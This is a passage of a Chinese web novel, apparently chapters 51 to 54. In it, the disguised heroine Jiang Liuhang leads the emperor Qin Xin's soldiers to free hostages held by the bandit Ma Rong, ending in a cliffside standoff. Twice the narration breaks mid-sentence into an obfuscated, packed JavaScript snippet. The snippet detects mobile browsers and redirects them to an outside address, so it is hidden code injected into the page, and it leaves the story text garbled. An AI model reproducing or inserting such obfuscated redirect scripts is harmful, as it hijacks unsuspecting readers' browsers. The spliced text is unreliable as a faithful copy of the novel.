大哥的母亲,原来是这样过世的。 懊悔如同巨浪将她淹没,她僵硬地站着,不敢回头。 场上静默无声,只有山风呜咽。 半晌,姜六航才从干涩刺痛的喉咙里挤出破碎的声音:“……我走了。”她声音带着难抑的微颤,“姜大人你也找时间歇一歇,养足精神。” 她没有说“节哀”,那两字在失去亲人的悲哀前太苍白。 身后没有回应,姜六航几乎是逃也似的离开了。 在她身后,秦信咬住了自己的舌尖,尖锐的疼痛伴随着血腥味在口中弥漫开来。他猛地闭上眼,垂纱下的脸一片惨白,下颌线绷紧到极致。 他一定是疯了。 方才那一瞬间的恍惚,竟让他觉得是在与六航交谈,以致说出那番话。 是时光模糊了他心中六航的容颜吗? 不!他明明记得! 记得六航含笑的眉眼,飞扬的神采,记得六航每一个细微的神情,清晰得下笔就能画出。 他怎会、怎敢,从一个陌生女子身上去寻找六航的影子? 漠然地咽下嘴里的血腥,连同那莫名的恍惚一起。 明天起,让悟尘多送他几回去到过往。 他绝不允许! 绝不允许流逝的时光模糊六航分毫! 更不允许自己生出这样的错觉! 此事过后,他再不见这女子。 52. 第 52 章 子时正,夜色如墨,山风裹挟着湿冷的雾气,缠绕在队伍间。 姜六航跟在引路的军士身后,步履无声,火把跳跃的光芒在她眼前晃动。 突然,前方的火光毫无征兆地熄灭了,四周陷入一片幽暗。姜六航心头一跳,疑问涌到嘴边,又被她生生咽下。军士如此行事,自有他的道理。 再行五步,前方浓雾里,出现了几个亮点,几道黑影轮廓骤然显现。从那身形,姜六航认出是大哥和冯简几个。 他们中有人手里拿着发光的竹筒。 竹筒里面装有一种菌丝,发出的光在雾中可见距离约四米,十米外则无法辨识。这是前朝边将——应匡将军,从他的驻守地带来的一种照明方法,最适用于雾中奇袭。 姜六航跟着军士,走到几人面前。 “徐姑娘,”秦信的声音穿透雾气传来,带着一些疏离,“徐姑娘,我们即刻出发,请徐姑娘带领军士到关押人质处,先解救人质。” 雾气模糊了他的面容,姜六航只看见一个冷硬的轮廓。 她应道:“好。” 对面又道:“徐姑娘三年来助官府剿灭斩月楼,立有大功。按夏朝律,可破格授官。你可愿在和州,或其它州任职?” 姜六航忽起逗弄的心思:“我若是想要到京城做官呢?”她尾音微微上扬,目光紧锁着雾气中那个轮廓。 对面静了静,不知是否她的错觉,大哥再次开口时声音格外冷淡:“京城里暂无适合徐姑娘的空缺。” “哦,那就算了。”姜六航道,“我不做官,大人给我一点银子吧。” 她手中的那点银子,只够紧巴巴地撑到京城。若能多些,她便能走得慢些,看看这山河人间,尝尝沿途风味,用这五个多月的时间,好好地和这世界告别。 “也好。”她听到大哥的声音,平静得没有一丝波澜,“擒获马荣后,诸事繁杂,我与洛太守恐无暇再与徐姑娘相见。这是两万两夏有钱庄的通兑银票,各地皆可取用。救出人质后,徐姑娘便可自行离去。” 冯简上前一步,递上一张薄薄的纸。 姜六航接过。指尖触到微凉的纸张,心口却像被什么滚烫的东西狠狠烙了一下。 无暇再见、自行离去——大哥在急着打发她。 大哥不知道,她是六航。 大哥不知道,这一别,就真的再不会见。 姜六航凝神望去,大哥脸上线条锋利冷漠,真是和以前截然不同了。 她收回视线,把银票塞入怀中,摆了摆手:“我去了。” 秦信目光骤然定在她摆动的手上,恍惚见到了大军出征之时,六航笑着对他挥手:“大哥,我去了。” 他猛地咬紧牙关,一股尖锐的刺痛从舌尖狠狠蔓延开来,再开口时声音沉哑:“有劳徐姑娘。” 姜六航略一点头,握紧剑柄,转过身去,向前走了。 秦信转着佛珠的手顿住,不自觉地握成拳。他抬眼,看着女子远去,几步之后,身影隐入浓雾。 冯简站在秦信身旁,借着微弱荧光,看到皇上手背上突起的狰狞扭曲的青筋,心下一跳。他再一次确定,皇上对徐姑娘,有一种特别的关注。那关注里,翻涌着他看不明的痛楚与压抑。 “皇上。”他上前一步,问道,“出发吧?” 秦信深吸一口冰冷的雾气,压下喉间的腥甜,冷声道,“传令!封死所有山道出口,不许一人逃出。” 冯简凛然,大声应道:“是!” —— 军士们手持竹筒,绕着黑岩山疾行。 为避免被马荣发现,昨天军队的驻扎处,到达他的藏身处,需要急行军一个时辰。 山间时而响起几声惟妙惟肖的鹧鸪鸣叫。 转向哨! 姜六航脚步下意识就要调整方向,猛地醒悟过来,硬生生顿住身形,险险掩饰过去,等旁边军士低声提醒“徐姑娘,这边走”,才做出恍然的样子跟上。 后背惊出一层冷汗。 若刚才快一步,落在这些身经百战的军士眼中,便是明显的破绽。 眼前情景,显然是斥候已经提前探路,隐匿在路旁用竹哨鸣叫指引方向。等到达斥候无法探路的中心区域,才是她派上用场的时候。 少年们跟在姜六航身边,个个摩拳擦掌,兴奋又紧张。 一个时辰后,军队潜行至一道天堑般的峡谷。两侧峭壁如刀劈斧削,仅余一道狭窄的“一线天”,最窄处只容三人侧身。 本是一道极难过的关卡,但今夜浓雾弥天,纵使崖顶点有火把,也难以窥见谷底。马荣倒是谨慎,见今晚大雾,派了三十人在底下守着。然而,他们才一下来,便被秦信派出的前锋侦察小队盯上。大部队抵达前,一支由军中顶尖好手组成的百人队已悄然潜入,在侦察小队的配合下,无声无息地抹掉了这三十人。 大军在浓雾与夜色的双重掩护下,如暗流般悄然通过了峡谷。再往前,便是斥候未曾踏足的区域,连秦信也只知大概方位。 该姜六航上场了。 她看着地下显眼的红线,正要踏上去,旁边军士道:“姜大人来了。” 她回头,只见大哥不知何时又戴上了那顶帏帽。她心中升起一丝奇异,不过转念一想,待会儿要和马荣那边的人碰面,大哥应该是怕那边有人认出,早些预备起来。 秦信在她身前几步停下,帏帽下的视线似乎穿透雾气落在她身上:“后面有劳徐姑娘。” 姜六航:“不客气。” 秦信按了按帏帽,不自觉握紧刀柄,深吸一口气:“举火。” 姜六航连忙阻止:“不用,火光恐怕惊动马荣,用竹筒的光就行。” 秦信讶然:“此光微弱,仅照方寸之地,如何辨路?” 姜六航一时语塞,索性直接道:“我自有办法,你们跟着就是。” 秦信顿了顿,没再坚持。 队伍重又启动。 姜六航一马当先,步履轻盈迅捷,在昏暗山路上如履平地,每一次落脚都毫不迟疑,仿佛白日行走于康庄大道。 她能感觉到身后那道锐利的目光,紧紧锁定自己。那目中的审视、怀疑,不用去看,她也知道。但她不在乎。 救出人质,擒获马荣,她立刻远走高飞。只要此刻,大哥信她,肯跟她走,便足够了。 山路难行,陡峭又湿滑。姜六航提气轻身,足尖在岩石上几点,灵巧地跃上一块高耸的岩石,稳稳站定。 几乎是本能地,她向下伸出手。 这个动作,她曾做过无数次。 岩下,秦信正踏上岩石一处凸起借力上跃,湿滑的青苔却让他脚下一滑,身形不稳地向后跌去,被冯简一把扶住。 他听到一声轻笑。 调侃的、善意的,带着亲昵。 秦信猛地抬头。 女子俯身,微微前倾,一只素白的手掌伸到他面前。 那姿态,那模糊中带笑的轮廓,那唇边的调侃,与记忆中那个身影瞬间严丝合缝地重合。 “大哥,抓住我呀!” 那时,六航总是这样笑着叫。 心脏像是被一只巨手狠狠攥住,揉捏,眨眼捏成碎片,窒息般的剧痛席卷而来,整个人僵在原地。 姜六航伸出的手停在半空,意识到自己的失态,唇边的笑意僵住。仿佛被火烫到,她猛地收回手,向后退一步。 冯简跃上岩石,伸手将秦信拉了上来。 岩石之上,气氛凝滞。 秦信率先移开目光,声音比之前更添了几分疏远和冷淡:“徐姑娘请。” 姜六航调整呼吸,压下心头的懊悔和苦涩,转身继续引路。 “那里,是一个人质关押点。”两刻钟后后,姜六航停下脚步,指向雾气深处一个方向,“有十一个人质,五个斩月楼帮众看守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891707|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 秦信看她一眼,眸中意味不明。 纵然女子前天来时这里有十一个人质,五个看守,也不能肯定此时就是如此。但她的语气那样笃定。她是用的什么办法,确定了那里面的人数?竟看不出丝毫端倪。 姜六航向前急驰而去。十名精锐军士和七名少年紧随其后。 关押点是一个临时搭建的木屋,两个军士把刀从门缝一上一下插入,手腕转动,拨开门闩,没发出一点声响。推开门,众人一拥而入。 两个负责值夜的看守手才碰到兵器,就被军士们放倒。 姜六航奔到躺着的人们前,一剑刺下,一人在睡梦中,都没来得及叫一声,已然毙命。 姜六航回身,正好看到姜持把刀从一人胸口抽出,眸光在幽微的光线中异常闪亮。 她拍拍小姑娘的手臂,赞道:“干得好!”姜持抬头朝她一笑。 几乎在同时,第五人也被军士杀死。 唐小豆懊恼地嘀咕:“你们眼睛太利了,这些人睡在一块儿,我都还没找到哪是斩月楼的人。” 其余少年都道:“我们也没来得及找到。” 姜六航鼓励他们:“下次再努力。”又交代,“若不是百分百确认,不要随便下手,恐怕误伤无辜。” 少年们乖乖点头。 其实少年们的表现很正常,反倒是姜持让姜六航深感意外。 她却不知,十个军士看到她的表现,就不只是意外了,而是深深的震惊——女子动作快、狠、准,像做过千百次这样的事。 被绑来的人们惊醒,害怕地哭泣、叫喊,姜六航等人退出,另有军士进来安置他们。 出来的军士跑着去向秦信报告,姜六航内力深厚,即使隔得远,军士声音又低,她也隐约听见几个字:“五个……徐……老手……” 过了一会,军士住口,秦信走过来,朝她点头:“辛苦徐姑娘,我们立即赶去下一处。” 姜六航带着军士,迅速扑到第二处、第三处……第五处。 然而,到第五处时,出了意外。 一名看守在军士刀锋落下前的刹那,用尽最后力气甩出了一枚特制竹筒。 “咻——!!!” 尖锐到刺破耳膜的啸声撕裂夜的寂静,紧接着,一道刺目的红光如血箭般穿透浓雾,射向黑色苍穹。 “不好!”姜六航心头一沉,身形更快三分,带着军士们冲向第六处人质关押点。 紧赶慢赶,终究还是迟了一步。马荣挟持剩余的人质,且战且退,朝阳升起时,退到了最后一处关卡。 一道真正的一夫当关、万夫莫开的关卡。 两侧是刀削斧劈般的万丈悬崖,相隔五十余米,唯有一条不到一脚款的天然石梁相连。马荣亲自带人扼守在对面山崖,弓箭手张弓搭箭,寒光闪闪的箭镞对准石梁。 悬崖边缘,两棵虬劲古树的枝桠横生出来,朝向深渊,九名人质被粗绳悬吊其上,在山风中摇摇摆摆。他们脚下便是吞噬一切的万丈深渊,如巨兽张着的口。 深渊两侧,肃杀之气弥漫,如粘稠的沼泽,让人呼吸困难。 —— 府城里,随着时间过去,围着太守府的人们情绪逐渐激动,眼见压制不住,恰接到秦信传信,让洛太守不必再隐瞒消息。 洛太守当即告诉众人,马荣藏身黑岩山,官兵已去围剿。 众武者立刻赶来,黎明时赶到这里。 两边遥遥对峙。 一边,是斩月楼最后残存的两百亡命之徒,踞守天险,穷途末路,眼神疯狂。另一边,是两千杀气腾腾的御林军精锐,兵甲森然。更有数百武林豪杰,兵刃出鞘,怒目圆睁。 晨光熹微,却驱不散悬崖之上的刺骨寒意。被悬吊在枯枝上的身影摇摇晃晃,绳索摩擦树枝发出令人牙酸的“咯吱”声,敲打在每一个人的心头。 大战,一触即发。 53. 第 53 章 两侧悬崖对立,风声呜咽。 马荣人数虽少,却占据绝地,倚仗天险与人质,竟让两千多御林军和武林群雄一时束手。 但马荣也到了绝路,身后三十几步,三面皆是高耸入云,几乎九十度垂直的山壁,退路断绝,只余脚下这方寸之地。 群雄目光灼灼地盯着对面,蠢蠢欲动,最终却都踟蹰不前。 深渊大约五十丈宽,弓箭可射到对面。但马荣狡猾,在崖边垒起半人高的石墙,斩月楼帮众龟缩其后,箭矢难以伤到他们。 最要命的是那条连接两崖的路,峭壁顶端,不到一脚的宽度,即便没有干扰的情况下,行走都得万分小心,稍有不慎便是粉身碎骨。 更何况,马荣在那边路口安排了弓箭手,只要走上这条路,就要面对漫天箭雨。 要过这条路,非轻功、内力、招式皆登峰造极不可。 而还有一大难关在后头:即便侥幸过去,孤身一人,将面对武功绝顶的马荣,以及他身后两百亡命徒。 天下可与马荣相敌的两人,衡王已逝,赤霄剑客行踪飘渺。在场群雄,无人是其对手。过去几乎等于送死。 姜六航目光扫过那几位声名赫赫的武林高手——万剑宗宗主、破山剑黄超、霸王枪连战、逍遥剑贾录……他们眉头紧锁,脸上神色凝重,显然毫无把握。 僵局。 山间风声呼啸,带着寒意。 江湖群雄无可奈何,只得叫骂。 “马荣恶贼,天理昭昭,报应不爽,今日便是你的死期!” “江湖败类,人人得而诛之。马荣,你逃不掉的!” “呸!丢尽我们江湖人的脸面,今日群雄汇聚,必要铲除你这恶贼,伸张正义,还天下一个朗朗乾坤!” “马荣!放了我儿,留你全尸。若伤他一根汗毛,老子定将你千刀万剐,挫骨扬灰!”一人目眦欲裂,嘶吼出声,姜六航认得,正是兰州飞燕侠邓飞石。 “哈哈哈——!”狂笑声骤起。 马荣站在石墙边,满面虬髯抖动,眼中凶光如淬毒的针,扫过之处,叫骂声竟为之一窒。 他平举手中刀,朝向对面众人:“一群庸碌之辈,也敢来我面前叫嚣!” 刀身窄而薄,刃口流转着幽冷的光,正是名动天下的断魂刀。霹雳刀未出之前,它独步天下,霹雳刀现世后,它亦是唯一能与之争锋的凶刃。 隔着深渊,一股无形的煞气扑面而来,浓稠如血,似有无数亡魂在刀锋上凄厉哭嚎。 喧嚣的谩骂戛然而止,场上一时静得落针可闻。 “哈哈哈!”见群雄被镇住,马荣笑声更狂,随即又陡然转低,透出无尽苍凉,“虎落平阳,英雄末路!” “英雄?你也配?!” 一声清越却饱含愤怒的少年嗓音在姜六航耳边炸响。 她侧目,只见唐小豆一张脸气得通红,指着对面大骂,“滥杀无辜,残暴不仁,你分明是遗臭万年的祸害!也敢自称英雄?恬不知耻!” 应辉踏前一步,接过唐小豆的话,一向沉稳的少年语音激昂:“英雄当如皇上,救万民于水火;如衡王,杀出一个天下太平;如姜相,殚精竭虑为黎庶;如谢尚书,明镜高悬,铁面无私。你这样的,玷污了‘英雄’二字!” “说得好!”这边众人齐声喝彩,声浪震得山谷嗡嗡作响。 马荣阴鸷的目光如毒蛇般锁定了两个少年,那威压让两人脸色瞬间苍白,身体微微颤抖,却咬着牙,挺直脊梁,半步不退。 “唐云的儿子,应匡的儿子,”马荣的目光在两人脸上逡巡,又缓缓移向旁边的少年们,将七人的身份一一道破,“姜子循的女儿,刘澹的女儿,齐亮的儿子……”最后,他森冷的目光落到悬崖边大树吊着的一个少年身上,“还有严回的儿子。” 他说“唐云”时,群雄还有些茫然,想着唐云是那位武林豪杰,待“应匡”、“姜子循”的名字接连出口,不少人倒吸一口凉气,恍然大悟:“原来是京城里那些高官显贵的公子小姐。定是结伴来武林大会看热闹,被马荣这厮探知了底细,抓了一个去。” 其中一些武者看向被吊着的严临,又瞥向官兵,眼中含了一丝希冀。 有严将军的儿子在,官兵总不能不顾人质的安全,无论如何都要先救下他们。 洛太守早已赶到,此刻就在秦信身旁,望着对面被吊着的严临,额头渗出汗珠,心中叫苦不迭。 严将军的儿子若在他的地盘上出事,即使他在其中没有太大的责任,也难保严将军不恨上他。 官场险恶,多一个手握重兵的敌人,后患无穷。 明明那么多人都救出来了,怎偏偏漏了这位少爷? “你快把严临放了!”唐小豆朝着对面怒吼出声。 “放了?”马荣嗤笑,声音陡然拔高,“做梦呢!老子只恨抓少了,要是把你们几个小崽子全攥在手里,说不定今日还能搏出一条生路。”他猛地转向重重护卫下那戴着帏帽的男子,厉声喝道:“秦信!你说是不是?” “秦信?” “哪个秦?哪个信?” “难道……是那位?” 群雄哗然,议论声如潮水般涌起,无数道惊疑不定的目光齐刷刷射过来。 “这些军士,悍不畏死,进退如一人,身上那股子血腥味,隔这么远老子都闻得出来。”马荣语气斩钉截铁,“铁骨军!绝对是铁骨军!老子跟你们打了多少年交道,化成灰都认得。难怪,难怪洛世伟顶着几百号江湖高手的压力死活不撤兵,原来是你秦信,亲自带着铁骨军来围剿我。好!好得很!今日此地,我们正好做个了断!” 秦信! 真是那位,兴元帝秦信! 群雄的目光死死盯住那人,带着敬畏和震惊。 一片哗然中,秦信开口,在他说出第一个字时,所有人就都安静下来。 “纵使他们是铁骨军,你又如何断定,朕是秦信?” 一个“朕”字,如惊雷炸响,坐实了所有人的猜测。 马荣:“老子有个手下,恰巧认得你身边那位——御林军统领、威义伯,冯简。他是冯简,你不是秦信,还能是谁?” “不错。朕是秦信。”帏帽下的声音更冷,每一个字都像淬着寒冰,“总要让你死个明白。我秦信,今日、此地,取你首级,祭奠衡王英灵!” 马荣眼中凶光大盛:“杀姜六航不是老子下的令,但,是老子的手下干的,干得漂亮!杀得好!这账算老子头上,不亏!” 姜六航心头猛地一跳,下意识朝一旁看去。 大哥一手按着腰间匕首,一手缓缓捻动佛珠,笔直站着,也不知信了马荣的话没有。 但随即,姜六航定下心神。 死无对证,只要自己不说,谁能想到那场火是她自己放的? 马荣这口黑锅,背定了。 “秦信,做个交易,你放老子下山,老子就放了树上那九条命,如何?” 姜六航皱眉,看着马荣指着悬崖边吊着人的大树。 他在打什么主意? 他刚才明明说“了断”,又懊恼没多抓几个少年,显然觉得皇帝绝无可能放过他,为何又提出交换? 大哥,会应吗? 姜六航目光转向那人。 他立在那里,沉默未语。 一边的武林人士却骚动起来,叫着:“皇上!” 九个人质,除了严临,八个都是武林中破有声望者的家人。 飞燕侠邓飞石第一个冲出人群,被刀剑拦住后嘶声哀求,“皇上!求您先撤兵放马荣下山,我邓飞石对天发誓,豁出这条命也定把他抓回来给您!” 更多人质的亲友也按捺不住,纷纷挤到前面,哀声恳求:“皇上开恩!”“求您了,皇上!”他们看向阻拦军士的眼神,已带上了明显的敌意。 看着对面马荣脸上得意的笑,姜六航蓦地明白了他的真实目的。 他不是妄图逃生,而是想引起众武者和御林军的冲突,或许还盼着,众武者情绪上头,打伤或杀害皇帝。 显然冯简等人也想到了此点,迅速向皇帝靠拢,警惕地对着骚动的众武者。 眼见群情汹涌,洛太守对着众武者道:“马荣恶贯满盈,手上沾满无辜鲜血,难道要为少数几人,就纵虎归山?诸位皆是侠义中人,当知何为侠,何为义。” 这却是照搬了姜六航前日的说词。 姜六航暗自摇头。 那时尚有三日期限,危机未到眼前,故能用这些话稍作拖延,眼下却是亲友性命悬于一线,这些话哪还镇得住? 果然如姜六航所料,那些武林人士只是顿了一瞬,又继续朝前涌动,喊叫着要求“撤兵”。 “秦信,你应是不应?”马荣厉喝。 “不应又如何?”秦信缓缓道。 “你看好了!” 悬崖边,九条绳索垂下,吊着九个身影,被风吹得晃晃荡荡。两棵树上各蹲伏着一个斩月楼帮众,手持长剑,身体紧贴树干,身形缩在巨大的盾牌之后。 “老子从十数到一,你不撤兵,老子就砍断一根绳子。”马荣狂笑起来,眼中闪烁着残忍又兴奋的光芒,“九根绳子呢,不急,你慢慢想,老子慢慢砍,哈哈哈!” 姜六航恨得咬紧了牙。 真是好毒的心机! 这是用钝刀子割肉,用一次次死亡的威胁,将绝望和压力层层叠加,最终引爆所有人紧绷的神经。 “加一个条件。”秦信沉声道,“朕放你下山,半个时辰后,朕再行追击。” 马荣笑声一滞,显然没料到秦信会松口。 以己度人,换做是他,别说九人,九万人也抵不上死敌一条命。 他狐疑地问:“什么条件?说来听听。” “这三年,你屡屡逃脱围剿。此番姜相、应尚书等人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895756|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子女甫至和州,行踪隐秘,你却能迅速掌握详情,朝中、地方必有你的眼线内应。将名单交出。” “哈!老子不上你这个当!”马荣嗤笑道,“你当老子不知道?这和州早被你围成了铁桶,别说半个时辰,一个时辰老子也跑不出去。跟你做交易,不过是赌那万万一的运气,想拿名单?做梦!嘿嘿,想着你日后疑神疑鬼,看这个像坏人,那个也像,惶惶不安,我做鬼也高兴。要是他们出息点,把你拉下马,斩下你的头颅,老子在九泉之下也要大笑三声。” 他语气忽转惋惜,“可惜啊,消息来得迟了些,又撞上这几个小崽子在武林大会,人多眼杂不好下手。不然把他们全抓来吊在这里,那时才够你头疼的。” 他眼中恶意更浓,仿佛已看到那场景:“八个!都是你股肱重臣的心头肉,老子就不信,你秦信能狠心不管,任由臣子寒心。要真如此,那也无妨。用老子一条命,换你君臣猜忌,老子也多少捞回了一点本。” “可惜,可惜啊。”他叹了两声,陡然提高音量,“秦信,想好了没有?老子要开始数了。” 随着他的声音,其中一棵树上,盾牌后伸出长剑,对准一条绳索。 “路儿!”邓飞石发出一声撕心裂肺的惨嚎。 那孩子不过十三四岁,一动不敢动,只在被风吹得面朝这边时巴巴地望着,流着泪哭喊:“爹!我怕!” 御林军弓箭手早已引弓待发,对着树上那人不断变换角度,但那人实在谨慎,牢牢地躲在枝干和盾牌后面,只一把长剑伸出来,压在绳索上。 有武者捡起石块比划着想要投掷,奈何距离太远,石块大了扔不过去,小了没无力道。再说,也担心那人掉下去之前割断绳索。 “十!”马荣的声音,宛如催命符响起。 “皇上!”邓飞石彻底崩溃,不顾一切地再次冲击军士的防线,苦苦哀求,“他跑不掉的,他自己也说了跑不掉,求您了皇上!先撤兵,放他走!我邓飞石对天发誓,以性命担保,一定亲手把他抓回来!若违此誓,天打雷劈,不得好死!” 他的声音凄厉绝望,像一把刀割在人心上。 群雄躁动,向御林军压过来,看向皇帝的目光已带上了愤恨。 秦信仍然没说话,只是握紧刀柄,手指绷得发白。帏帽下那双无人得见的眼里,暗色汹涌。 冯简望望群雄,再望望皇帝,张了张嘴,又咽了回去。 见到两边对峙的情景,洛太守心惊胆战,高声道:“各位莫要冲动!我们虽有布置,可马荣狡诈,此前屡屡逃脱,哪敢保证万无一失?他不敢杀人的,把人质杀了,他再无退路。” “九!” “皇上!求您撤兵!”以邓飞石为首的群雄声音愈发激烈。 “八!” 不能再耽搁了! 姜六航全身绷紧,运转内力,右手扣住腰间剑柄。 路窄她不怕,钢丝她都能走,这个不在话下。路上的冷箭,以她的功力,足以挡开。 可虑的,有两点。 其一:冲过去后,能否瞬间摆脱纠缠,及时救人? 其二:一旦动手,对上马荣,势必要全力施为,套着的马甲恐怕要被扒下一层了。 但看着那在风中飘荡的身影,听着邓飞石绝望的嘶吼,还有江湖人士和御林军眼见就要升级的冲突……顾不得了! 姜六航脚尖一点地面,就要冲向那条通道。 就在她身形将动未动之际,一道绝望的身影,如同扑火的飞蛾,带着凄厉的吼叫,抢先一步踏上了那条绝壁窄道。 是邓飞石。 他做出了最惨烈、最无望的孤注一掷。 才踏上通道,“嗖!嗖!嗖!”三支利箭破空而至。 邓飞石侧身急闪,脚下碎石松动,整个人猛地向一侧歪倒。 “啊!”这边众人失声惊呼。 飞燕侠不愧是武功顶尖的那拨人之一,反应极快,手掌猛地拍击岩壁,硬生生借力将身体扳回,继续往前冲去。 又是数箭射来。 这一次,邓飞石避无可避,一支箭狠狠贯穿了他的大腿,眨眼间鲜血染红了裤管,在岩壁上洒下刺目的红点。 完了! 所有人都知道,飞燕侠不可能在剩下的几息内冲过去了。 悬崖这边鸦雀无声,默默地看着他艰难地移动脚。 对面斩月楼帮众肆意地大笑:“飞燕侠,慢慢走,爷爷们不射了,让你跟儿子好好告个别。哈哈!” 姜六航目光转向御林军中的那人。 大哥静静站着,没有开口撤兵的意思。 “三!” “二!” 邓飞石一步踏出,没有站稳,向着深渊直坠而下。 “爹!”撕心裂肺的喊声回荡。 “一!” 长剑割断绳索,孩子“啊——”地尖叫,紧随着他父亲坠了下去。 54. 第 54 章 孩子的尖叫还在山谷回荡,身影却已消失在深渊之下。 姜六航僵硬地站在原地,指甲深深掐进掌心,她看着那吞噬了两条生命的深渊,寒意从脚底窜起。 武者们有些对着对面嘶声大骂:“贼子!”“禽兽不如的东西!”有些则眼中燃着悲愤,嘴里叫嚷着“撤兵”,不管不顾地要冲过御林军的阻拦,双方推搡,动起了拳脚。骚动越来越大,渐有冲突升级的趋势。 姜六航目光转动,落到军士之中仍旧沉默着的那道身影。 马荣犹在狂笑。 “除了骂骂,你们这群废物还能做什么?有胆子,倒是过来杀你爷爷啊!” “是秦信不肯救他们,你们去找他啊!哈!不敢吗?懦夫!” 众人脸憋得通红,却只能攥紧拳头,无可奈何。 飞燕侠邓飞石的下场像一盆冰水,把他们的心浇得冰凉。 六步! 赫赫有名的飞燕侠只走了六步! 谁又能比他强上许多?上去,不过是白白送死。 “秦信,你撤不撤兵?”马荣厉声喝问。 “放开他们,朕给你一个全尸。”秦信声音带着平静的冷酷。 马荣放声嗤笑:“左右一死,全不全尸有个屁用。”他猛地转向树上蹲着的帮众,厉声道:“下一个!” 姜六航眼神一凛,正要踏出,忽然一道细微的气音传入耳内:“姜帅。” 这一惊非同小可,姜六航猛地侧头。 一个四十来岁,面色黝黑的江湖客正定定望着她,目光里满是难以言喻的欣喜,嘴唇微动,快速吐出几个字:“增气丹、救命之恩、小灰。” “方三!”姜六航和999同时在脑海里叫出。 方三怎知她是姜帅? 姜六航下意识地抬头望,果然看到小灰在上空。 身份暴露,定与小灰有关。 这念头电光火石般闪过,立刻被眼前更紧迫的危机压下。 姜帅的身份绝不能泄露! 姜六航的手指摩挲着剑柄,杀意凝聚。 隔着帏帽垂下的轻纱,方三似乎也感受到了那股无形的杀意,猛地打了个寒噤,声音带着十二分的诚恳急急道:“侠女!我在兴元元年就知道了侠女身份,一直守口如瓶,对姐姐都没说。侠女放心,我以后也绝不会说。就是死,也把这个秘密带进棺材。” 姜六航厉声道:“你如果泄露,我就杀掉你姐姐。” “不会的,侠女是好人。”瞄到姜六航猛然半出鞘的剑,方三赶紧转移话题,“侠女要去对面救人吧?我给侠女打下手。侠女在前开路,我在后跟着,过去后侠女挡住马荣,我去树上把那两个杂碎料理了。” “你打得过他们?”姜六航怀疑地问。 方三的轻功她见识过,确实顶尖,能跟上她。但拳脚功夫……对付树上那两个斩月楼帮众,不见得够。 方三从怀里掏出一个半臂长的竹筒:“我有这个。” 姜六航定睛一看,竟然是从庸叔叔装着飞针的竹筒。 “……你偷的?” “鬼手神医拿着这个追杀我。”方三一脸无辜,“这东西太厉害,我没办法,只得拿了来,让他用不了。” 姜六航:“……” 她脑海里顿时有了从庸叔叔暴跳如雷的画面。 等等,从庸叔叔之前认定自己是方三,怎又去追杀这人?追杀的过程中,发现此方三非彼方三了吗?发现这人才是真方三了吗? 但现在没时间深究这些。 姜六航一把夺过竹筒,塞到袖子里:“过去了再给你。” 等会方三拿着竹筒在她身后,她不放心。 “秦信!” 一声大喝引回姜六航注意力,她看过去,只见马荣指着吊在树上的一个少年,对着军士护卫中的人喊道:“这是你座下大将严回的儿子。严回追随你多年,出生入死,立下汗马功劳,你忍心眼睁睁地看着他儿子去死吗?嘿!你要真这么狠心,不知严回会怎么想?明明可以救下他儿子却不肯救,这样的主君,还值得他效忠吗?” 少年们哽咽出声,带着哭腔叫:“临子!” 秦信目光投向严临,问道:“怕吗?” 少年眼眶通红,却强撑着道:“不怕!” “朕今日必杀马荣,不能因你撤兵。怨朕吗?” “不怨!”少年声音嘶哑却异常坚定,“我爹常说,大丈夫当捐躯报国,马革裹尸。皇上,我今日,算不算为国捐躯?” “算。”秦信缓声道。 少年嘴角努力扯出一个笑容,朝着马荣的方向嘶声大喊:“马荣!你来吧!老子十八年后,又是一条好汉!” “小兔崽子,死到临头还敢嘴硬。”马荣满目阴鸷,脸上浮起狰狞的笑,刀尖挨个点过树上吊着的几人,“秦信,我倒要看看,他们是不是都不怨你?他们的父母亲人,是不是也都不怨你,心甘情愿地看着他们丧命?” 他猛地举起刀,一声“十”就要冲口而出。 就在这时,姜六航和方三动了。 两道人影一前一后冲上通道。速度之快,只留下两道模糊的残影,如轻烟掠过,眨眼间已踏上通道。 斩月楼帮众才反应过来,齐齐惊呼,慌忙举起弓箭。然而,那两道身影太快了,快得他们根本来不及瞄准。就在他们手忙脚乱的刹那间,两人又向前突进了一大截。 马荣脸色骤变,口中暴喝,手臂猛地一挥。 “呲——!” 断魂刀撕裂空气,发出刺耳的尖啸,挟着雷霆之势,直扑向通道上的两人! “啊!”悬崖这边,惊骇的叫声瞬间炸开。 姜六航猛地刹住身形。 第一声惊叫的尾音未落,第二波更尖锐的惊叫已然响起。 前头的人停得太突然,又是在高速之下,所有人都以为,后面的人必定会撞上去,在断魂刀到达之前,他们就会坠落悬崖。 有些人已经闭上眼,不忍再看。也有人眼睛瞪得更大,一眨不眨地盯着。 方三动作毫无凝滞,紧跟着停下,如一片轻羽,贴着前面的人。 两人仿佛一体,同时向左侧微微一晃。 “锵!”断魂刀擦着他们的衣角呼啸而过,狠狠撞在对面的岩壁上,坠落深谷。 众人惊魂稍定,这才看清通道上两人的模样。 “是姐姐!”唐小豆的惊叫中带着惊喜。 同一时间,姜持也叫出来:“徐姑娘!” 众武者更是哗然,谁也没想到,前天在太守府阻止他们的女子,竟身怀如此惊世骇俗的轻功。还有,那后头的一人又是谁? 秦信张大眼,瞳孔中映出女子身姿,如风中杨柳,轻轻向左一摆后又回到原来位置。帏帽的垂幔扬起,在风中拂动。 